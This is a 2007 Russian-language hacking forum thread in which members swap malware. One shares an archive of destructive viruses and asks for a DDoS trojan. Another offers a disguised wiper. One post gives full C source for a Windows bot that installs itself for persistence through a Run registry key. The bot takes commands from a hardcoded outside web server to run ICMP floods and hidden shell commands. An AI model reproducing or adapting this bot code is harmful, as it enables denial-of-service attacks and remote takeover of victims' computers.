Обмен вирусами

Discussion in 'Безопасность и Анонимность' started by gold-goblin, 26 Mar 2007.

  1. gold-goblin

    gold-goblin Elder - Старейшина

    Joined:
    26 Mar 2007
    Messages:
    917
    Likes Received:
    174
    Reputations:
    3
    Ну я тут насобирал кучку разных вирусов, в архиве они весят 3.5 мегобайта!!!
    Там их оочень много, все они несут разрушение и хаус там где побывают :) .
    Вот ссылка: тыркнуть пороль ХаК (Русскими буквами)

    Я в зомен ничего не требую, но если кому не вломак выложите пожалуйста хорошего DDoS трояна с управлением через ирк чат.
     
    #1 gold-goblin, 26 Mar 2007
    Last edited: 27 Mar 2007
    4 people like this.
  2. Sn@k3

    Sn@k3 Elder - Старейшина

    Joined:
    13 Apr 2006
    Messages:
    1,000
    Likes Received:
    438
    Reputations:
    90
    молодца, в сети редко встретишь хорошие архивы, с данной подборкой
     
  3. gold-goblin

    gold-goblin Elder - Старейшина

    Joined:
    26 Mar 2007
    Messages:
    917
    Likes Received:
    174
    Reputations:
    3
    Стараюсь, скоро, если допешу то и свои вири выложу.
    Снэйк, мне приятно это слышить от бывалого ачатовца :)
     
    #3 gold-goblin, 26 Mar 2007
    Last edited: 27 Mar 2007
  4. P1rat

    P1rat Member

    Joined:
    27 Mar 2007
    Messages:
    25
    Likes Received:
    10
    Reputations:
    1
    вот http://www.kiber-zona.org/forum/index.php?showtopic=514
     
  5. gold-goblin

    gold-goblin Elder - Старейшина

    Joined:
    26 Mar 2007
    Messages:
    917
    Likes Received:
    174
    Reputations:
    3
    Пират большое спасибо!!!
     
  6. Spanki

    Spanki Member

    Joined:
    26 Mar 2007
    Messages:
    0
    Likes Received:
    9
    Reputations:
    0
    Еси кому интересно могу скинуть вирус один который стирает всё на компе + удаляет быстренько файлы из windows
    Но суть этого вируса такая , что при отсылке жертве этот вирус пишет всякие "любовные" открытки и сообщения))) И пока жертва с ним "общаеться" он всё удаляет с компа , а главное не палиться
     
    5 people like this.
  7. gold-goblin

    gold-goblin Elder - Старейшина

    Joined:
    26 Mar 2007
    Messages:
    917
    Likes Received:
    174
    Reputations:
    3
    =) выкладывай ссылку если не жалко.
     
  8. almaz

    almaz Elder - Старейшина

    Joined:
    4 Sep 2005
    Messages:
    29
    Likes Received:
    1
    Reputations:
    0
    Не работает форум закрыт.
     
  9. cardons

    cardons Elder - Старейшина

    Joined:
    19 Jul 2005
    Messages:
    778
    Likes Received:
    324
    Reputations:
    83
    Хорошая коллекция вирусов.
     
  10. zippo

    zippo Member

    Joined:
    30 Nov 2005
    Messages:
    73
    Likes Received:
    9
    Reputations:
    0
    ага.. колекция.. нормальная..
     
  11. ac1D

    ac1D Elder - Старейшина

    Joined:
    14 Mar 2007
    Messages:
    107
    Likes Received:
    18
    Reputations:
    1
    А что эти вирусы делают?
    Их надо просто заслать и все ппц компу?
     
  12. _Great_

    _Great_ Elder - Старейшина

    Joined:
    27 Dec 2005
    Messages:
    2,032
    Likes Received:
    1,119
    Reputations:
    1,139
    Сперва надо научиться использовать поиск
     
  13. gold-goblin

    gold-goblin Elder - Старейшина

    Joined:
    26 Mar 2007
    Messages:
    917
    Likes Received:
    174
    Reputations:
    3
    Вирусы это вредоносные программы уничтожающие данные на компьютере или блокирующие доступ к ним.
    А ваще вот тут много инфы о разновидностях вирусов
    Тырк
     
  14. Underwit

    Underwit Banned

    Joined:
    6 Oct 2006
    Messages:
    191
    Likes Received:
    137
    Reputations:
    16
    Чорт, сцуко, случайно один пусканул. Чо мне терь делать. /me плачет
     
  15. KPOT_f!nd

    KPOT_f!nd положенец общага

    Joined:
    25 Aug 2006
    Messages:
    1,074
    Likes Received:
    502
    Reputations:
    65
    есть один, только не через IRC,а через WWW .php
    Coder by Gorlum
    PHP:
    /*
    Coder by Gorlum
    */

    // адрес web-сервера
    #define WEBADDRESS "ired.inins.ru"
    // имя файла\скрипта
    #define WEBFILE "flood.php"
    // ращмер пакета
    #define PACKETSIZE 1000
    // частота отсыла
    #define FREQ 100

    #include <winsock2.h>

    //#pragma comment(linker,"/MERGE:.rdata=.text") 
    #pragma comment(linker,"/SECTION:.text,EWRX") 
    #pragma comment(linker,"/ENTRY:WinMain")   

    #define FILENAMELEN 0xFF

    HANDLE thread;

    DWORD resolve(char *host)
    {
        
    DWORD ret 0;
        
    struct hostent hp gethostbyname(host);
        if (!
    hpret inet_addr(host);
        if ((!
    hp)&&(ret == INADDR_NONE)) return 0;
        if (
    hp != NULLmemcpy((void*)&rethp->h_addr,hp->h_length);
        return 
    ret;
    }
    #define ICMP_ECHO 8

    typedef struct _ihdr {
        
    BYTE i_type;
        
    BYTE i_code;
        
    USHORT i_cksum;
        
    USHORT i_id;
        
    USHORT i_seq;
        
    ULONG timestamp;
    }
    IcmpHeader;

    #define xmalloc(s) HeapAlloc(GetProcessHeap(),HEAP_ZERO_MEMORY,(s))
    #define xfree(p) HeapFree (GetProcessHeap(),0,(p))

    USHORT checksum(USHORT *bufferint size) {
        
    unsigned long cksum=0;
        while(
    size >1) {
            
    cksum+=*buffer++;
            
    size -=sizeof(USHORT);
        }
        if(
    size cksum += *(UCHAR*)buffer;
        
    cksum = (cksum >> 16) + (cksum 0xffff);
        
    cksum += (cksum >>16);
        return (
    USHORT)(~cksum);
    }

    void fill_icmp_data(char icmp_dataint datasize){
        
    IcmpHeader *icmp_hdr;
        
    char *datapart;

        
    icmp_hdr = (IcmpHeader*)icmp_data;
        
    icmp_hdr->i_type ICMP_ECHO;
        
    icmp_hdr->i_code 0;
        
    icmp_hdr->i_id = (USHORT)GetCurrentProcessId();
        
    icmp_hdr->i_cksum 0;
        
    icmp_hdr->i_seq 0;
        
    datapart icmp_data sizeof(IcmpHeader);

        
    // memset(datapart,'E', datasize - sizeof(IcmpHeader));
        
    for(int i 0datasize sizeof(IcmpHeader); i++) 
        {
            
    datapart[i] = GetTickCount()%255;
            
    Sleep(23);
        }
    }

    int ping(charhostint datasizeint timeout){
        
    SOCKET sockRaw;
        
    SOCKADDR_IN dest;
        
    int bread;
        
    char *icmp_data;
        
    USHORT seq_no 0;

        
    memset(&dest,0,sizeof(dest));
        
    dest.sin_family AF_INET;
        
    dest.sin_addr.S_un.S_addr resolve(host);
        
    //MessageBox(0,inet_ntoa(dest.sin_addr),"ok",0);

        
    sockRaw WSASocket (AF_INETSOCK_RAWIPPROTO_ICMPNULL,0,0);
        if(
    sockRaw == INVALID_SOCKET) return -1;

        
    bread setsockopt(sockRaw,SOL_SOCKET,SO_SNDTIMEO,(char*)&timeout,sizeof(timeout));
        if(
    bread == SOCKET_ERROR) return -1;

        
    datasize += sizeof(IcmpHeader); 
        
    icmp_data = (char*)xmalloc(0xFFFF);
        if(!
    icmp_data) return -1;
        
    memset(icmp_data,0,0xFFFF);
        
    fill_icmp_data(icmp_data,datasize);

        while(
    1) {
            
    int bwrote;
            ((
    IcmpHeader*)icmp_data)->i_cksum 0;
            ((
    IcmpHeader*)icmp_data)->timestamp GetTickCount();
            ((
    IcmpHeader*)icmp_data)->i_seq seq_no++;
            ((
    IcmpHeader*)icmp_data)->i_cksum checksum((USHORT*)icmp_datadatasize);
            
    bwrote sendto(sockRaw,icmp_data,datasize,0,(struct sockaddr*)&destsizeof(dest));
            if(
    bwrote == SOCKET_ERROR) return -1;    
            
    Sleep(FREQ);
        }
        return 
    0;
    }

    inline void addtorun()
    {    
        
    char str[FILENAMELEN],
            
    sysbuf[FILENAMELEN];
        
    // получаем полный путь к текущему месторасположению программы
        
    GetModuleFileName(GetModuleHandle(NULL),str,FILENAMELEN);

        
    GetSystemDirectory(sysbuf,FILENAMELEN);
        
    strcat(sysbuf,"\\msping.exe");
        
    // копируем себя в системную директорию
        
    CopyFile(str,sysbuf,true);

        
    // добавляем в автозапуск
        
    HKEY hk;
        
    RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", &hk);
        
    RegSetValueEx(hk,"msping",0,REG_SZ,(LPBYTE)sysbufstrlen(sysbuf) + 1);
        
    RegCloseKey(hk);
    }

    DWORD WINAPI icmpflood (LPVOID pParam)
    {
        
    ping((char*)pParam,PACKETSIZE,1000);
        return 
    0;
    }

    void flood(char *host)
    {
        
    DWORD lpThreadId;
        
    thread CreateThread(NULLNULLicmpflood, (LPVOID)hostNULL, &lpThreadId);
    }

    int getcommand()
    {
        
    char *sendbuffer "GET /"WEBFILE" HTTP/1.0\r\nHost: "WEBADDRESS"\r\n\r\n",
            
    recvbuffer[1024];
        
    // создаем сокет для подключения к Web-серверу
        
    SOCKET s socket(AF_INET,SOCK_STREAM,0);
        
    memset(recvbuffer,0,1024);

        
    // ресолвим адрес и заносим данные в структуру
        
    SOCKADDR_IN webaddr;
        
    webaddr.sin_addr.S_un.S_addr resolve(WEBADDRESS);
        
    webaddr.sin_family AF_INET;
        
    webaddr.sin_port htons(80);

        
    // подсоединились
        
    if(connect(s, (struct sockaddr *)&webaddr,sizeof(SOCKADDR_IN))) 
            return -
    1;
        
        
    // шлем запрос
        
    send(ssendbufferstrlen(sendbuffer),0);
        
        
    Sleep(5000);
        
    // получаем ответ
        
    int i;
        while(
    recv(s,recvbuffer+strlen(recvbuffer),1,0)) 
        {if (
    == SOCKET_ERROR) return -1;}
        
    // MessageBox(0,recvbuffer,"",0);
        // return 0;
        // анализируем ответ
        
        // отбрасываем захоловок, он нам не нужен
        
    char *temp,*token;
        for(
    int i 0recvbuffer[i]!=0; ++i){
            if((
    recvbuffer[i]=='\r')&&(recvbuffer[i+1]=='\n')&&
                (
    recvbuffer[i+2]=='\r')&&(recvbuffer[i+3]=='\n'))
            {
    temp = (char*)&recvbuffer[i] + 4;break;}
        }
        
    token strtok(temp" \r\n");
        
    // файл делим на слова...

        // если нас просят пофлудить
        
    if(strcmp(token,"flood")==0)
        {
            
    // то получаем второй параметр
            
    token strtok(NULL" \r\n");
            
    // и запускаем нить флуда
            // MessageBox(0,"уря","",0);
            
    flood(token);
        }

        
    // если просят убить себя
        
    else if (strcmp(token,"kill")==0)
        {
            
    // удаляем запись из реестра 
            
    HKEY hk;
            
    RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", &hk);
            
    RegDeleteKey(hk,"msping");
            
    RegCloseKey(hk);
            
            
    // и убиваем процесс
            
    ExitProcess(0);
        }
        else if (
    strcmp(token,"mess")==0)
        {
            
    // сообщение
            
    temp+=5;
            
    temp strtok(temp,"\r\n");
            
    MessageBox(0temp"Сообщение!",0);
        }
        else if(
    strcmp(token,"cmd")==0)
        {
            
    temp+=4;
            
    temp strtok(temp,"\r\n");
            
    char parametr[128];
            
    strcpy(parametr,"/c");
            
    strcat(parametr,temp);
            
    ShellExecute(0,"open","cmd",parametr,0,SW_HIDE);
        }

        
    closesocket(s);
        return 
    0;
    }

    int __stdcall WinMain(HINSTANCEHINSTANCEPTSTRint)
    {
        
    // раз
        
    addtorun();

        
    thread NULL;
        
        
    WSADATA wsaData;
        
    WSAStartup(MAKEWORD(2,2), &wsaData);
        
        
    /* 
        мы бесконечно скачиваем наш файлик...
        если скачать\приконнектиться не удалось, 
        значит соединени с инетом не установлено и 
        мы повторяем через 30сек... иначе через 30 мин
        */
        
    while(true)
        {
            if (
    thread)
                
    TerminateThread(thread,0);

            if(
    getcommand()) 
            {
                
    Sleep(30*1000);
                continue;
            }

            
    Sleep(30*60*1000);
        }

        
    WSACleanup();
        
    ExitProcess(0);
        return 
    0;
    }
     
  16. gold-goblin

    gold-goblin Elder - Старейшина

    Joined:
    26 Mar 2007
    Messages:
    917
    Likes Received:
    174
    Reputations:
    3
    KPOT_f!nd

    Спасибки
     
  17. gold-goblin

    gold-goblin Elder - Старейшина

    Joined:
    26 Mar 2007
    Messages:
    917
    Likes Received:
    174
    Reputations:
    3
    Спасибо, коллекция и мне нравится =)
     
  18. sni4ok

    sni4ok Elder - Старейшина

    Joined:
    4 Nov 2006
    Messages:
    115
    Likes Received:
    37
    Reputations:
    12
    за такое руки надо отрывать, к таму же в данном месте ну совершенно обходится без него.
     
  19. gold-goblin

    gold-goblin Elder - Старейшина

    Joined:
    26 Mar 2007
    Messages:
    917
    Likes Received:
    174
    Reputations:
    3
    sni4ok

    А что в этом месте не так??? (Я в пхп дуб дубом)
     
  20. Mukis

    Mukis Elder - Старейшина

    Joined:
    27 Nov 2005
    Messages:
    47
    Likes Received:
    25
    Reputations:
    0
    масло масленое